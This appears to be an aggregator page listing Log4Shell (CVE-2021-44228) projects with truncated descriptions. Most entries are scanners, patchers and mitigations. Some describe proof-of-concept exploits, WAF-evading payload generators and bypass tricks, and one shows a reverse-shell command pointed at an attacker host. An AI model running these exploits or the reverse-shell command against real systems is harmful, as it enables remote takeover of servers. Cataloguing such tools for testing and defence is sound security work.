CVE-2021-44228-Scanner

log4j2-scan is a single binary command-line tool for CVE-2021-44228 vulnerability scanning and mitigation patch. It also supports nested JAR file scanning and patch. It also detects CVE-2021-45046 log4j 2.15.0, CVE-2021-45105 log4j 2.16.0, CVE-2021-44832 log4j 2.17.0, CVE-2021-4104, CVE-2019-1757...

log4j-shell-csw

Log4j Simple Exploit A Proof-Of-Concept Exploit for CVE-2021-44228 vulnerability. Log4j, which is used to log security and performance information, impacts upwards of 3 billion devices that use Java across a variety of consumer and enterprise services, websites and applications, as well as medica...

log4fix

log4fix This tool is to detect and fix the log4j log4shell vulnerability CVE-2021-44228 by looking and removing the JndiLookup class from .jar/.war/.ear files with zero dependencies for free. This tool has been tested on: - Linux 32bit and 64 bit - Windows 32 bit and 64 bit - OpenBSD 64 bit This...

log4j_checker

Log4jchecker.py CVE-2021-44228 Description This Python3 script tries to look for servers vulnerable to CVE-2021-44228, also known as Log4Shell, a very critical vulnerability found in Log4j2 Java logging library. It doesn't rely on external DNS log servers to verify and validate the vulnerable...

Log4j-JNDIServer

Log4j-JNDIServer This project will help to test the Log4j CVE-2021-44228/CVE-2021-45046 vulnerabilities. Installation and Building Load the project on Intellij Idea Select JDK in "Projects Settings" CTRL + ALT + SHIFT + S In "Project Settings", create the Artifact - "Artifacts" - "Create JAR from...

cloudrasp-log4j2

CloudArmor · Runtime Application Self-Protection Module - Log4j2 Version 简体中文 This project is a local version from CloudArmor specifically built for defending Log4j2 CVE-2021-44228 . No network connection is required to run this project. Please DO TESTING before deploying it to production...

log4shell-rmi-poc

log4shell-rmi-poc A Proof of Concept of the Log4j vulnerability CVE-2021-44228 over Java-RMI It uses Log4j 2.5.7 from spring-boot-starter-log4j2 Requirements: Tested with Java 8 JDK 1.8.025 and Java 11 JDK 11.0.1 How to run the POC 1. Clone the repo: root@kitploit: git clone...

CVE-2021-44228

Log4Shell POC CVE-2021-44228 The scope of this repository is to provide all the components needed to exploit CVE-2021-44228, nicknamed Log4Shell, and to show how to exploit it. The ingredients needed to exploit this vulnerability are the following: 1. An LDAP Server that will redirect the...

Log4j2-CVE-2021-44228-revshell

Log4j2-CVE-2021-44228-revshell Usage root@kitploit: For reverse shell: $ python3 Log4j2-revshell.py -M rev -u http://www.victimLog4j.xyz:8080 -l AttackerIP -p AttackerPort -hp HTTPServerPort For check exploitable: $ python3 Log4j2-revshell.py -M check -u http://www.victimLog4j.xyz:8080 -l...

Sandbox-Challenge-Log4Shell-CVE-2021-44228-

Sandbox Challenge: Log4Shell CVE-2021-44228 Overview This walkthrough documents the steps taken to complete the CISA Threat Sandbox Challenge for CVE-2021-44228, commonly known as Log4Shell. The challenge involved completing two objectives — one red team offensive and one blue team defensive —...

log4j-Scan-Burpsuite

log4j-Scan-Burpsuite Burpsuite detection plugin for Log4j vulnerability CVE-2021-44228 Includes ON/OFF switch, Filter, Send Features: Automatically replace request headers Automatically replace POST request application/json parameters Automatically replace POST request application/x-www-urlencode...

nginx-mitigate-log4shell

nginx-mitigate-log4shell Mitigate log4shell CVE-2021-44228 and CVE-2021-45046 vulnerability attacks using Nginx LUA script Requires the Nginx lua module https://www.nginx.com/resources/wiki/modules/lua/ to be enabled. Use include /path/to/mitigate-log4shell.conf; in the server ... context. Can be...

log4j-CVE-2021-44228

Apache Log4j Zero Day aka Log4Shell aka CVE-2021-44228 Introduction Reproducing the problem in k8s env Setting up k8s env with the vulnerability Possible Solutions KubeArmor Security Policy Not allowing any execs from the JVM/Java Default Deny based rules KubeArmor Visibility/Observability into t...

ansible-role-log4shell

Ansible role - log4shell ⭐ Star us on GitHub — it motivates us a lot! Find Log4Shell CVE-2021-44228 on your system This role tries to find JAR and WAR from filesystem and from opened files lsof ⚠️ Your system may runs slowly during the scan due to a find on and the unarchive process to lookup...

Log4Shell-obfuscated-payloads-generator

Log4Shell-obfuscated-payloads-generator Log4Shell-obfuscated-payloads-generator can generate primary obfuscated or secondary obfuscated CVE-2021-44228 or CVE-2021-45046 payloads to evade WAF detection. The design idea of ​​Log4Shell-obfuscated-payloads-generator Installation root@kitploit: git...

log4j-shell-poc

log4shell-poc CVE-2021-44228 Proof-of-concept exploit for the Log4j vulnerability CVE-2021-44228, also known as Log4Shell. This tool generates a malicious Java class, starts an LDAP referral server, and serves the payload over HTTP, allowing a remote attacker to execute arbitrary commands on a...

CVE-2021-44228-PoC-log4j-bypass-words

🤝 Show your support - give a ⭐️ if you liked the content | SHARE on Twitter | Follow me on 🐱‍💻 ✂️ 🤬 LOG4J Java exploit - WAF and patches bypass tricks 📝 Description CVE-2021-44228 works on: log4j: 2.0 = Apache log4j = 2.14.1 Java version already patched: 6u211+, 7u201+, 8u191+, 11.0.1+. Windows...

vcenter-log4j

VMware vCenter log4j workaround Script to workaround VMware vCenter log4j vulnerability CVE-2021-44228, as per the VMware KB article. 2021-12-13 02:09 UTC - Added Secure Token & Identity Management services 2021-12-13 12:46 UTC - Added PSC Client for 6.5 - see below VMware have released a python...

Log4JHunt

Log4JHunt An automated, reliable scanner for the Log4Shell CVE-2021-44228 vulnerability. Video demo: Usage Here the help usage: root@kitploit: $ python3 log4jhunt.py +--------------+ Log4JHunt +--------------+ + Log4jHunt by RedHunt Labs - A Modern Attack Surface ASM Management Company + Author:...

CVE-2021-44228-playground

LOG4SHELL-CVE-2021-44228-Validator About This tool allows you to verify whether a simple Java web app is vulnerable to CVE-2021-44228 for a user provided version of Java and of Log4J. You can also optionally apply one of a view pre-defined mitigations. The simulation lab spun up by...